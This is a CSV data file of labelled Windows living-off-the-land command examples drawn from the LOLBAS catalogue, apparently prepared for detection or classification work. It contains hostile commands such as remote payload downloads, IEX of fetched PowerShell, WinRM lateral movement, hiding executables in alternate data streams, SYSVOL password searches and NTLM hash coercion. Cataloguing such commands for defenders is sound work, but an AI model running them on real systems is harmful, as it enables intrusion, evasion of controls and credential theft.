33c3e73f366e0bd0c79f55e3,Pester.bat ;{PATH:.exe},Pester.bat ;{PATH:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSScripts/pester.yml,Pester.bat,Execute,"[""T1216"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Execute code using Pester. Example here executes specified executable.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a0cacd4c56daf48d8e08bd23,. C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1 \nSyncInvoke {CMD},. C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1 \nSyncInvoke {CMD},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSScripts/Cl_invocation.yml,CL_Invocation.ps1,Execute,"[""T1216"", {""Execute"": ""CMD""}]",Windows 10,0.85,False,Import the PowerShell Diagnostic CL_Invocation script and call SyncInvoke to launch an executable.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5ad05bf4e41cfa7b38cec189,pubprn.vbs 127.0.0.1 script:{REMOTEURL:.sct},pubprn.vbs 127.0.0.1 script:{REMOTEURL:.sct},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSScripts/Pubprn.yml,Pubprn.vbs,Execute,"[""T1216.001"", {""Execute"": ""SCT""}]",Windows 10,0.85,False,Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b8e1696a63a0f9d5d2c1398b,"powershell.exe -ep bypass -command ""set-location -path c:\windows\diagnostics\system\networking; import-module .\UtilityFunctions.ps1; RegSnapin ..\..\..\..\temp\unsigned.dll;[Program.Class]::Main()""","powershell.exe -ep bypass -command ""set-location -path c:\windows\diagnostics\system\networking; import-module .\UtilityFunctions.ps1; RegSnapin ..\..\..\..\temp\unsigned.dll;[Program.Class]::Main()""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSScripts/UtilityFunctions.yml,UtilityFunctions.ps1,Execute,"[""T1216"", {""Execute"": ""DLL (.NET)""}]","Windows 10 21H1 (likely other versions as well), Windows 11",0.85,False,Proxy execute Managed DLL with PowerShell,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b2b98ddcdbdffe1f8464b894,"powershell.exe -ep bypass -command ""set-location -path C:\Windows\diagnostics\system\Audio; import-module .\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\..\..\..\testing\fun.dll;[Program]::Fun()""","powershell.exe -ep bypass -command ""set-location -path C:\Windows\diagnostics\system\Audio; import-module .\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\..\..\..\testing\fun.dll;[Program]::Fun()""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSScripts/CL_LoadAssembly.yml,CL_LoadAssembly.ps1,Execute,"[""T1216"", {""Execute"": ""DLL (.NET)""}]","Windows 10 21H1 (likely other versions as well), Windows 11",0.85,False,Proxy execute Managed DLL with PowerShell,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
828d5efea1b53919d6373eb4,set comspec={PATH_ABSOLUTE:.exe} & cscript c:\windows\system32\manage-bde.wsf,set comspec={PATH_ABSOLUTE:.exe} & cscript c:\windows\system32\manage-bde.wsf,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSScripts/Manage-bde.yml,Manage-bde.wsf,Execute,"[""T1216"", {""Execute"": ""EXE""}]","Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Set the comspec variable to another executable prior to calling manage-bde.wsf for execution.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
45cf56fec3a4b06114c980de,copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe c:\windows\system32\manage-bde.wsf,copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe c:\windows\system32\manage-bde.wsf,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSScripts/Manage-bde.yml,Manage-bde.wsf,Execute,"[""T1216"", {""Execute"": ""EXE""}]","Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Run the manage-bde.wsf script with a payload named manage-bde.exe in the same directory to run the payload file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2a5d6eb6ceffeaa71ee8951c,powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsWherePath {PATH_ABSOLUTE:.exe},powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsWherePath {PATH_ABSOLUTE:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSScripts/Launch-VsDevShell.yml,Launch-VsDevShell.ps1,Execute,"[""T1216"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,"Execute binaries from the context of the signed script using the ""VsWherePath"" flag.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3cf36662cad22bc90cdb81f4,"powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsInstallationPath ""/../../../../../; {PATH:.exe} ;""","powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsInstallationPath ""/../../../../../; {PATH:.exe} ;""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSScripts/Launch-VsDevShell.yml,Launch-VsDevShell.ps1,Execute,"[""T1216"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,"Execute binaries and commands from the context of the signed script using the ""VsInstallationPath"" flag.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5c53f4ab6955628d6d041b76,"winrm invoke Create wmicimv2/Win32_Process @{CommandLine=""{CMD}""} -r:http://target:5985","winrm invoke Create wmicimv2/Win32_Process @{CommandLine=""{CMD}""} -r:http://target:5985",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSScripts/Winrm.yml,winrm.vbs,Execute,"[""T1216"", {""Execute"": ""CMD""}, {""Execute"": ""Remote""}]","Windows 10, Windows 11",0.85,False,Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dfd1b02106d7eb610ff748d1,"winrm invoke Create wmicimv2/Win32_Service @{Name=""Evil"";DisplayName=""Evil"";PathName=""{CMD}""} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985","winrm invoke Create wmicimv2/Win32_Service @{Name=""Evil"";DisplayName=""Evil"";PathName=""{CMD}""} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSScripts/Winrm.yml,winrm.vbs,Execute,"[""T1216"", {""Execute"": ""CMD""}, {""Execute"": ""Remote""}]","Windows 10, Windows 11",0.85,False,Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
947040e9b487aa0139c44a89,%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty,%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSScripts/Winrm.yml,winrm.vbs,AWL Bypass,"[""T1220"", {""Execute"": ""XSL""}]","Windows 10, Windows 11",0.85,False,"Bypass AWL solutions by copying cscript.exe to an attacker-controlled location; creating a malicious WsmPty.xsl in the same location, and executing winrm.vbs via the relocated cscript.exe.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
45a735c769ccb55440c6dcce,Presentationhost.exe {PATH_ABSOLUTE:.xbap},Presentationhost.exe {PATH_ABSOLUTE:.xbap},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Presentationhost.yml,Presentationhost.exe,Execute,"[""T1218"", {""Execute"": ""XBAP""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10",0.85,False,Executes the target XAML Browser Application (XBAP) file,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a3a163dca1e6ed8a26dca365,Presentationhost.exe {REMOTEURL},Presentationhost.exe {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Presentationhost.yml,Presentationhost.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,It will download a remote payload and place it in INetCache.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d51563b0a0054a997a0180e6,tar -cf {PATH}:ads {PATH_ABSOLUTE:folder},tar -cf {PATH}:ads {PATH_ABSOLUTE:folder},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Tar.yml,Tar.exe,ADS,"[""T1564.004"", {""Type"": ""Compression""}]","Windows 10, Windows 11",0.85,False,Compress one or more files to an alternate data stream (ADS).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ac597c4f95349f2767ccf58a,tar -xf {PATH}:ads,tar -xf {PATH}:ads,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Tar.yml,Tar.exe,ADS,"[""T1564.004"", {""Type"": ""Compression""}]","Windows 10, Windows 11",0.85,False,Decompress a compressed file from an alternate data stream (ADS).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1b5c67be48eca22fcbdf86c6,tar -xf {PATH_SMB:.tar},tar -xf {PATH_SMB:.tar},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Tar.yml,Tar.exe,Copy,"[""T1105"", {""Type"": ""Compression""}]","Windows 10, Windows 11",0.85,False,Extracts archive.tar from the remote (internal) host to the current host.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ab3ba7f1fe732ee2f5416783,Runonce.exe /AlternateShellStartup,Runonce.exe /AlternateShellStartup,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Runonce.yml,Runonce.exe,Execute,"[""T1218"", {""Execute"": ""CMD""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Executes a Run Once Task that has been configured in the registry.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2f1606e649fe14d483b856db,"set windir=c:\test& cd ""C:\Program Files\Internet Explorer\"" & iediagcmd.exe /out:{PATH_ABSOLUTE:.cab}","set windir=c:\test& cd ""C:\Program Files\Internet Explorer\"" & iediagcmd.exe /out:{PATH_ABSOLUTE:.cab}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Iediagcmd.yml,iediagcmd.exe,Execute,"[""T1218"", {""Execute"": ""EXE""}]","Windows 10 1803, Windows 10 1703, Windows 10 22H1, Windows 10 22H2, Windows 11",0.85,False,Executes binary that is pre-planted at C:\test\system32\netsh.exe.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7d291ccca8845778cb5d4ca4,msbuild.exe {PATH:.xml},msbuild.exe {PATH:.xml},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Msbuild.yml,Msbuild.exe,AWL Bypass,"[""T1127.001"", {""Execute"": ""CSharp""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Build and execute a C# project stored in the target XML file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a432f34b616befceffc4360e,msbuild.exe {PATH:.csproj},msbuild.exe {PATH:.csproj},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Msbuild.yml,Msbuild.exe,Execute,"[""T1127.001"", {""Execute"": ""CSharp""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Build and execute a C# project stored in the target csproj file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
54c18445b1fe38dede4865d0,"msbuild.exe /logger:TargetLogger,{PATH_ABSOLUTE:.dll};MyParameters,Foo","msbuild.exe /logger:TargetLogger,{PATH_ABSOLUTE:.dll};MyParameters,Foo",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Msbuild.yml,Msbuild.exe,Execute,"[""T1127.001"", {""Execute"": ""DLL""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Executes generated Logger DLL file with TargetLogger export.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f808eec5eecfad6256af60a5,msbuild.exe {PATH:.proj},msbuild.exe {PATH:.proj},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Msbuild.yml,Msbuild.exe,Execute,"[""T1127.001"", {""Execute"": ""XSL""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Execute JScript/VBScript code through XML/XSL Transformation. Requires Visual Studio MSBuild v14.0+.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e3fd9c8295bdbdec94a78859,msbuild.exe @{PATH:.rsp},msbuild.exe @{PATH:.rsp},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Msbuild.yml,Msbuild.exe,Execute,"[""T1036"", {""Execute"": ""CMD""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,By putting any valid msbuild.exe command-line options in an RSP file and calling it as above will interpret the options as if they were passed on the command line.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
76388d7f953581621217215c,pktmon.exe start --etw,pktmon.exe start --etw,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Pktmon.yml,Pktmon.exe,Reconnaissance,"[""T1040""]","Windows 10 1809 and later, Windows 11",0.85,False,Will start a packet capture and store log file as PktMon.etl. Use pktmon.exe stop,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8ced1e7a2faba8ccccdcd728,pktmon.exe filter add -p 445,pktmon.exe filter add -p 445,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Pktmon.yml,Pktmon.exe,Reconnaissance,"[""T1040""]","Windows 10 1809 and later, Windows 11",0.85,False,Select Desired ports for packet capture,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
15f81a2cd57e1f4da7571251,dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll},dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Dnscmd.yml,Dnscmd.exe,Execute,"[""T1543.003"", {""Execute"": ""DLL""}, {""Execute"": ""Remote""}]",Windows server,0.85,False,Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
da9d4013b8052c780f113f5c,rasautou -d {PATH:.dll} -p export_name -a a -e e,rasautou -d {PATH:.dll} -p export_name -a a -e e,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Rasautou.yml,Rasautou.exe,Execute,"[""T1218"", {""Execute"": ""DLL""}]","Windows vista, Windows 7, Windows 8, Windows 8.1",0.85,False,Loads the target .DLL specified in -d and executes the export specified in -p. Options removed in Windows 10.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e25cc70174db9f6a3fdfa8a0,MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe},MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/MpCmdRun.yml,MpCmdRun.exe,Download,"[""T1105""]",Windows 10,0.85,False,"Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path)",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8372f3bf1ca88824434c8e3a,"copy ""C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe"" C:\Users\Public\Downloads\MP.exe && chdir ""C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\"" && ""C:\Users\Public\Downloads\MP.exe"" -DownloadFile -url {REMOTEURL:.exe} -path C:\Users\Public\Downloads\evil.exe","copy ""C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe"" C:\Users\Public\Downloads\MP.exe && chdir ""C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\"" && ""C:\Users\Public\Downloads\MP.exe"" -DownloadFile -url {REMOTEURL:.exe} -path C:\Users\Public\Downloads\evil.exe",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/MpCmdRun.yml,MpCmdRun.exe,Download,"[""T1105""]",Windows 10,0.85,False,"Download file to specified path. Slashes work as well as dashes (/DownloadFile, /url, /path). Updated version to bypass Windows 10 mitigation.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f5c0769c985d3faf06c5ff3c,MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}:evil.exe,MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}:evil.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/MpCmdRun.yml,MpCmdRun.exe,ADS,"[""T1564.004""]",Windows 10,0.85,False,Download file to machine and store it in Alternate Data Stream,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
20aedf9ce6e6c8e41d80268b,"SyncAppvPublishingServer.exe ""n;(New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX""","SyncAppvPublishingServer.exe ""n;(New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Syncappvpublishingserver.yml,SyncAppvPublishingServer.exe,Execute,"[""T1218"", {""Execute"": ""PowerShell""}]","Windows 10 1709, Windows 10 1703, Windows 10 1607",0.85,False,Example command on how inject Powershell code into the process,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d34ad7341884a9ce533644ba,tttracer.exe {PATH_ABSOLUTE:.exe},tttracer.exe {PATH_ABSOLUTE:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Tttracer.yml,Tttracer.exe,Execute,"[""T1127"", {""Execute"": ""EXE""}]","Windows 10 1809 and newer, Windows 11",0.85,False,Execute specified executable from tttracer.exe. Requires administrator privileges.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8c50fc84b2a92bde97f35da0,TTTracer.exe -dumpFull -attach {PID},TTTracer.exe -dumpFull -attach {PID},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Tttracer.yml,Tttracer.exe,Dump,"[""T1003""]","Windows 10 1809 and newer, Windows 11",0.85,False,Dumps process using tttracer.exe. Requires administrator privileges,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8a25c035e0104b6146962f05,findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exe,findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Findstr.yml,Findstr.exe,ADS,"[""T1564.004""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"Searches for the string W3AllLov3LolBas, since it does not exist (/V) the specified .exe file is written to an Alternate Data Stream (ADS) of the specified target file.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dadb3650a8b2d20401e8bf6f,findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE}:file.exe,findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE}:file.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Findstr.yml,Findstr.exe,ADS,"[""T1564.004""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b3cc9d1193a5282dec7e5be9,findstr /S /I cpassword \\sysvol\policies\*.xml,findstr /S /I cpassword \\sysvol\policies\*.xml,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Findstr.yml,Findstr.exe,Credentials,"[""T1552.001""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Search for stored password in Group Policy files stored on SYSVOL.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
563661316ca661e3d04834f4,findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE:.exe},findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Findstr.yml,Findstr.exe,Download,"[""T1105""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8956d96ec1272222c9149e84,"C:\Windows\System32\at.exe 09:00 /interactive /every:m,t,w,th,f,s,su {CMD}","C:\Windows\System32\at.exe 09:00 /interactive /every:m,t,w,th,f,s,su {CMD}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/At.yml,At.exe,Execute,"[""T1053.002"", {""Execute"": ""CMD""}]",Windows 7 or older,0.85,False,Create a recurring task to execute every day at a specific time.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2c573f1a1c84729ac2351179,extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe,extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Extrac32.yml,Extrac32.exe,ADS,"[""T1564.004"", {""Type"": ""Compression""}]","Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
71fe3d2e11bb17380a46ec0e,extrac32 /Y /C {PATH_SMB} {PATH_ABSOLUTE},extrac32 /Y /C {PATH_SMB} {PATH_ABSOLUTE},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Extrac32.yml,Extrac32.exe,Download,"[""T1105""]","Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Copy the source file to the destination file and overwrite it.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c4fcb3afef08b6a3a5443bad,extrac32.exe /C {PATH_ABSOLUTE:.source.exe} {PATH_ABSOLUTE:.dest.exe},extrac32.exe /C {PATH_ABSOLUTE:.source.exe} {PATH_ABSOLUTE:.dest.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Extrac32.yml,Extrac32.exe,Copy,"[""T1105""]","Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Command for copying file from one folder to another,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8b97495a31b4148420bc5e03,rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM,rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Rpcping.yml,Rpcping.exe,Credentials,"[""T1003""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a4889e30200d0c1aff0528b1,rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM,rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Rpcping.yml,Rpcping.exe,Credentials,"[""T1187""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign not Set).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f3406ab12d3ef323c5504ae7,"rundll32.exe {PATH},EntryPoint","rundll32.exe {PATH},EntryPoint",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Rundll32.yml,Rundll32.exe,Execute,"[""T1218.011"", {""Execute"": ""DLL""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"First part should be a DLL file (any extension accepted), EntryPoint should be the name of the entry point in the DLL file to execute.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d25923eb77d83eca10275c5c,"rundll32.exe {PATH_SMB:.dll},EntryPoint","rundll32.exe {PATH_SMB:.dll},EntryPoint",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Rundll32.yml,Rundll32.exe,Execute,"[""T1218.011"", {""Execute"": ""DLL""}, {""Execute"": ""Remote""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Execute a DLL from an SMB share. EntryPoint is the name of the entry point in the DLL file to execute.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
977f631a954ec307e51db5fe,"rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();GetObject(""script:{REMOTEURL}"")","rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();GetObject(""script:{REMOTEURL}"")",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Rundll32.yml,Rundll32.exe,Execute,"[""T1218.011"", {""Execute"": ""JScript""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
19658825a4c2fd139c33cb04,"rundll32 ""{PATH}:ADSDLL.dll"",DllMain","rundll32 ""{PATH}:ADSDLL.dll"",DllMain",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Rundll32.yml,Rundll32.exe,ADS,"[""T1564.004"", {""Execute"": ""DLL""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3dee381e608cf82920a5d0a1,rundll32.exe -sta {CLSID},rundll32.exe -sta {CLSID},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Rundll32.yml,Rundll32.exe,Execute,"[""T1218.011"", {""Execute"": ""COM""}]","Windows 10 (and likely previous versions), Windows 11",0.85,False,Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bb3449786689e1aa778aab7c,colorcpl {PATH},colorcpl {PATH},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Colorcpl.yml,Colorcpl.exe,Copy,"[""T1036.005""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Copies the referenced file to C:\Windows\System32\spool\drivers\color\.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
